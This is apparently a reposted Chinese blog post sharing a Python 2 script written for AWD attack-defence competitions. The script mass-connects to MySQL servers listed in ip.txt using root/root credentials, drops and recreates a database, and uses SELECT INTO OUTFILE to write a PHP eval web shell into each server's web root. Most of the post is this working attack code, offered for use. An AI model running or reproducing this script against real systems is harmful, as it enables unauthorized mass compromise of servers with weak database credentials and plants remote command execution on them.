AWD下-MySql漏洞批量利用脚本

版权声明:...........................微信: jjinchengg 欢迎交流.................................... https://blog.csdn.net/q851579181q/article/details/84932317

 这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本。以下是最初的脚本(python2),当然后来又更新换代加了骚思路,过一段时间会放出......

 

需要安装mysqldb,可自行参考网上教程。我的是windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。


#coding=utf-8
#author=Blus

import MySQLdb

def mysql_connect1(ip,m_user,m_password,shell_url,shell_content):



    #尝试数据库连接

    try:

        conn=MySQLdb.connect(host=ip,user=m_user,passwd=m_password,db='',port=3306)
        print "连接成功"

        cur=conn.cursor()

        #若数据库连接成功,开始写马

        try:

           #如果有重名数据库则删除该数据库

            cur.execute('DROP database IF EXISTS `A123456666`;')

            cur.execute('create database A123456666;')

        except:

            print "数据库创建错误"

            return

        cur.execute('use A123456666;')

        try:
            sql_shell="SELECT '{}' into outfile '{}';".format(shell_content ,shell_url)

            cur.execute(sql_shell)

            print "小马创建成功"

        except:

            print "小马创建失败"

            return

        cur.close()

    except MySQLdb.Error,e:

        print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])

        return






if __name__ == "__main__":

    fp_ip=open('ip.txt')

    shell_url = '/var/www/html/uploads/shell5.php'
    shell_content = '<?php eval($_POST[cmd]); ?>'

    user = "root"
    password = "root"

    for ip in fp_ip.readlines():
        fp4=ip.replace('\r',"").replace('\n',"")
        # url=str(fp5)
        print fp4+ " 检测中: "
        mysql_connect1(ip,user,password,shell_url,shell_content)

    print '检测结束'














猜你喜欢

转载自blog.csdn.net/q851579181q/article/details/84932317
AWD
今日推荐